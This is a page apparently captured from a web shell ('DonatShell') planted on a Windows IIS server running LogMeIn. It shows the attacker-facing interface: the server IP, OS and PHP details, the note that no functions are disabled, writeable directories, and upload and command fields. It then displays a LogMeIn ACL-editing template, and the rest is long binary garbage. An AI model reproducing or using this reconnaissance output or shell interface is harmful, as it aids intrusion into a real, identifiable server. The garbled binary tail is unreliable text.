DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/LogMeIn/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/LogMeIn//template.rab
RAB1acledit.htmla(<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
</head>

<body>
<script type="text/javascript">
function checkRadio(radio, check) {
if (check.checked) {
radio.checked = true;
check.checked = true;
}
return true;
}
</script>
<?
if REQ.APPLY
action "aclsave"
if not WINERRNUM
redirect REQ.BACK
exit
else
usemacro WINERRDLG()
endif
endif
if REQ.CANCEL
action "aclend" // drop editing session
redirect REQ.BACK // go to "back" page
exit
endif
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&MSG.ACL.TITLE?></span></div>
<center>
<form action="&TEMPLATE&" method="post">

<?if REQ.USRLST?>
<?action "aclusers"?>
<fieldset style="width:95%"><br>
<table>
<tr><td colspan="3" align="center">
<input type="submit" name="usrlst" value="&MSG.CONFIG.USERLIST.BTNTEXT&"> 
(<input type="checkbox" name="listcached" &LISTCACHED&> &MSG.CONFIG.USERLIST.CACHED&)
&MSG.CONFIG.USERLIST.FROM&
<input type="text" name="listdomain" value="&LISTDOMAIN&">
<?if CFG.TOOLTIPS>0?>
<img src="/img/ico_evt_info.png?bg=%COLOR.DlgBack%" border=0 onmouseover="showTip(event,'$MSG.CONFIG.USERLIST.DESCRIPTION$',false,'IMG');" width=16 height=16>
<?endif?>
<br>
<br>
</td></tr>
<tr valign="top"><td align="center">
<select name="sid" size="18">
<?enum USERS?><option value="&USER.SID&">&USER.NAME&<?next?>
</select><br>
</td><td>
&nbsp;
</td><td>
<table cellpsacing=0 cellpadding=0>
<tr>
<td><?&MSG.ACL.PERME?>:</td>
<?if ACL.MODE="dir"?><td><?&MSG.ACL.PERMI?>:</td><?endif?>
</tr>
<?if ACL.MODE="dir"?>
<tr>
<td></td>
<td><input type="radio" name="imask" value="0"><?&MSG.ACL.MASK.NONE?></td>
</tr>
<?endif?>
<tr>
<td><input type="radio" name="pmask" value="-1"><?&MSG.ACL.MASK.DENY?></td>
<?if ACL.MODE="dir"?><td><input type="radio" name="imask" value="-1"><?&MSG.ACL.MASK.DENY?></td><?endif?>
</tr>
<tr>
<td><input type="radio" name="pmask" value="2032127" checked id="pfull"><?&MSG.ACL.MASK.FULL?></td>
<?if ACL.MODE="dir"?><td><input type="radio" name="imask" value="2032127" checked><?&MSG.ACL.MASK.FULL?></td><?endif?>
</tr>
<tr>
<td><input type="radio" name="pmask" value="1179817"><?&MSG.ACL.MASK.READ?></td>
<?if ACL.MODE="dir"?><td><input type="radio" name="imask" value="1179817"><?&MSG.ACL.MASK.READ?></td><?endif?>
</tr>
<tr>
<td><input type="radio" name="pmask" value="1245631"><?&MSG.ACL.MASK.CHNG?></td>
<?if ACL.MODE="dir"?><td><input type="radio" name="imask" value="1245631"><?&MSG.ACL.MASK.CHNG?></td><?endif?>
</tr>
<tr>
<td><input type="radio" name="pmask" value="0" id="pother"><?&MSG.ACL.MASK.OTHER?>:</td>
<?if ACL.MODE="dir"?><td><input type="radio" name="imask" value="0" id="iother"><?&MSG.ACL.MASK.OTHER?>:</td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="1179785" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.R?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="1179785" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.R?></td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="1179926" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.W?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="1179926" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.W?></td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="1179808" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.X?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="1179808" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.X?></td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="65536" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.D?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="65536" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.D?></td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="262144" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.P?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="262144" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.P?></td><?endif?>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="pmask" value="524288" onclick="checkRadio(pother,this)"><?&MSG.ACL.MASK.O?></td>
<?if ACL.MODE="dir"?><td>&nbsp;&nbsp;&nbsp;<input type="checkbox" name="imask" value="524288" onclick="checkRadio(iother,this)"><?&MSG.ACL.MASK.O?></td><?endif?>
</tr>
</table>
</td></tr>
</table>
</fieldset><br>
<br>
<input type="submit" name="addace" value="&MSG.ACL.BUTTON.NEW&">
<input type="submit" name="lstace" value="&MSG.ACL.BUTTON.CANCEL&"><br><br>
<input type="hidden" name="updatefiles" value="&REQ.UPDATEFILES&">
<input type="hidden" name="updatedirs" value="&REQ.UPDATEDIRS&">
<input type="hidden" name="token" value="&CSRFTOKEN&">
<?else
if REQ.ADDACE
action "acladd"
elseif REQ.DELACE
action "acldel"
endif
action "acllist"
usemacro WINERRDLG()
endif	
?>

<?if OBJECTS?>
<fieldset style="width:95%"><legend>
<?&MSG.ACL.OBJECTS?></legend>
<ul><?enum OBJECTS?><li>&OBJECT.PATH&<?next?></ul>
<?if ACL.DIFF?><b>&MSG.ACL.ACLMISMATCH&<?endif?>
</fieldset><br>
<?endif?>

<br>
<?if ACES?>
<fieldset style="width:95%"><legend><?&MSG.ACL.ACES?></legend>
<table align=center>
<tr>
<td>
<br>
<select name="ace" size="10" multiple>
<?if ACES=0?>
<option value="" disabled><?&CONFIG.NA?>----------</option>
<?endif?>
<?enum ACES?><option value="&ACE.INDEX&">&ACE.USER& - &MSG.ACL.MODE:ACE.MODE& <?if ACE.SPECIAL?>&MSG.ACL.MASK:ACE.SPECIAL&<?else?>&MSG.ACL.MASK.OTHER& (&ACE.FLAGS&)<?endif?></option><?next?>
</select><br><br>
</td>
</tr>
<tr>
<td>
<input type="submit" name="usrlst" value="&MSG.ACL.BUTTON.NEW&"> <input type="submit" name="delace" value="&MSG.ACL.BUTTON.DEL&">
<br>
</td>
</tr>
</table>
</fieldset>
<br>
<?if ACL.MODE="dir"?>
<fieldset style="width:95%"><legend>&MSG.ACL.DIROPTIONS&</legend>
<table><tr><td>
<input type="checkbox" name="updatefiles" <?checked REQ.UPDATEFILES?>>&nbsp;&MSG.ACL.BUTTON.UPDFILES&<br>
<input type="checkbox" name="updatedirs" <?checked REQ.UPDATEDIRS?>>&nbsp;&MSG.ACL.BUTTON.UPDDIRS&<br>
</td></tr></table>
</fieldset>
<?endif //ACL.MODE="dir"?>
<br>
<br>
<input type="hidden" name="listcached" value="yes">
<input type="submit" name="apply" value="&MSG.ACL.BUTTON.APPLY&" <?if ACL.DIFF?>onclick="return confirm('$MSG.ACL.ACLMISMATCH$')"<?endif?>>
<input type="submit" name="cancel" value="&MSG.ACL.BUTTON.CANCEL&">
<?endif //ACES?>

<input type="hidden" name="aclid" value="&ACL.ID&">
<input type="hidden" name="back" value="&REQ.BACK&">
<input type="hidden" name="token" value="&CSRFTOKEN&">
</form>
</center>
</div>
</body>
</html>
93(activex\npRACtrl.dmg8xc`#9x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<x1 Om@a0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`<xs
bb```(xK
0Њ;O;xu#n
{S]bN\,2ylt1cl©2=C~U<|Z9L٫$ٴzLs^|gWwmx뒷b4[oxdgW'@ @ @ @ @ @ @ @ @ @ @ @ @ @ @4xf`a`Pdpb```:l H	1w.#@,fDdʥƤ,1	"I:ɘ4	` .<I)0i@\f
	P͓^m!@\éT)5WNkWC㜝aJ0A @QatIŚ)}0I
V @ @Nni @ 0--_/?tևָWxq?y5ZG;}k߾8}~PF}s4Wk9/usnom@ @ @ @ @ @ @ @>ѮryLo*Kʡ2Rr cje}eoy!߉mkx#ǭ4s6?"Fߔ3OSrɟC;bUeu?<V!s ﷷewlqvmXשpE6r}CuMVۍ19nFnV53pw4S5uuToiM年һһzz#Q*r9R.&;c,:ys+b19%/ͪd9ʚ?J޲<Ҭ/Ndm(+%?j5|OT~jGwjox9Tg+~)J mRX;݋7_>-WaUY^CeO-+C#QK
Uׁv斫c#-b}@c嚈:V7i)֎U'[ՐWO2w',MLǸCB^W=ɽa=gpȡlI]|];[Y]ӝSe)[]0>y2Cȸr漗2xUKe^wH|.W9y9Vz/@yY{uRt JT޷fy`,sY._Ƶ!]nh5zluNv`MEmtNgZs)ZZg>3TkT>'6yDSҹ~wnwיvt]~'
gu5=?_]=/X.zxцK/|g[9y[f?W}]gɖ)>ǷF0<kW)q3>L^	 @ @X>l^@͛o-'^|>oj_e?>/Q4A542	ýFW>|w(CéTθ]F:ko%r_˦Ƨ}qM?ǓpIR8*L @ @ |+l	2
ێL=ExvI @-UًaUٙ~o>1'R'H5TO鏻^
j&v&򙎙}3O4hXc{"D66lKy}uZYoX;W‹;r'<vFfǝ
@XciN(5Q>2J7Zŏrxiۣ=npg&#6twvS._G~-2WϿ[|8沩l/Ko#67ZgTMhY[=>J57nvkڎ-?55gt~1Zs|ƭY4tmn{im۬gƗc8Js3{i5.Yzv3ith|E;+#:8C>W[C^^!u황V+诠;c!NJ2q?6wooI,lƸCBcc#e{o<L8=J͠{K /t֕vX&ljX+οƩx%9يlduǖ}Z빼ZU;snm^7\e}xY-gxNu2vKAsYO첱3~iJ֕awҾΒ|甬i^xy+Z"A9h%>v|oy6w՜sǜg0YOZA9Y~Zz6nG
>w3B'i_x?qK{ Y壏ެEÈ(xs%H @ @ @ @ @ @ @>u○vEE14O6g @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ϡW_8ǥ	d0o	.KqU
dž|rXm>Cq:B|y:{y}Cwqy~iGޏ'?1/r|{HQfJun	l?!b^0eomH/e@(YM}gX:w
\A?⏄C6KrS0/īY{C@[|yk/뵍H{Q^sdWgk5*:^ȥ(o4:<kɳ^y:Qӻ29w
[f%-_H7QAvhm-;Il)/}N
]O76cnҴݶ
l0BD)X1BQ"VQVR!@JQ)Bѧ@Ѣ	J@w7	󻮙ݙ3gfi0ٙ|>d}JQS#y1ޝ~js:$^P2߼ML䕍w,7>t7E1qZG|)]Wtmi,ur	XN+us3-uq^	}[s@:xC>:i[lrYxCkL	+(O7{|e[1xQe?dIv,Ȉ7FUo-RG1:.Me6_/<n
8xJhV^=ѠxmFMĜ
vcx?x0Uz]F d
x=t7Z
'ѫ?Pp͹,rN
#zABՠf~3`A5>ݭZM<٤,.>`iwzC~+l^_+uWy̵?~ISY>joW?]
!akt®@[,_N8c)6z)p)5m^Wt-aa~?G#a'u_yڮ޵ތH[Ym}_ᣭݱ]K=Zڜ]⮛hSNӧ}z||%k2UudN>~euNvU2;22;BuO	rïvS;xweviMmC9y*z^8&1dt%pn'hE͜g:sHgSΏxJk,-syZiv-9[|HltOA6}pE,;9rJ۵G3uՒ:JCgۿgYv9Ke=tqβ~s>o~n,;Sg,:ˮ)j]UbYvmd9Y~oXз/]жv\ǵwXޔjߙ0f!wde9ǜ.S[;hTuweהlA2N眅}v_h״45`N\	Rg9Z8r.sp67IWuȬ_v~ye۴]3&ļ((MgmzJ)^2$?E&i}CZ5l]v߅b|~ף=}twx|mN~rؿ6W=ľ<qQ]^
ߩnS1CuO0V8u&^iz7Wd׹o`)GNg\}VLͷ>7;$(	Aв0]Pd*?%dp
%,Ǔ
>aT矻̮8dpO<Ǔ\	r|7a>
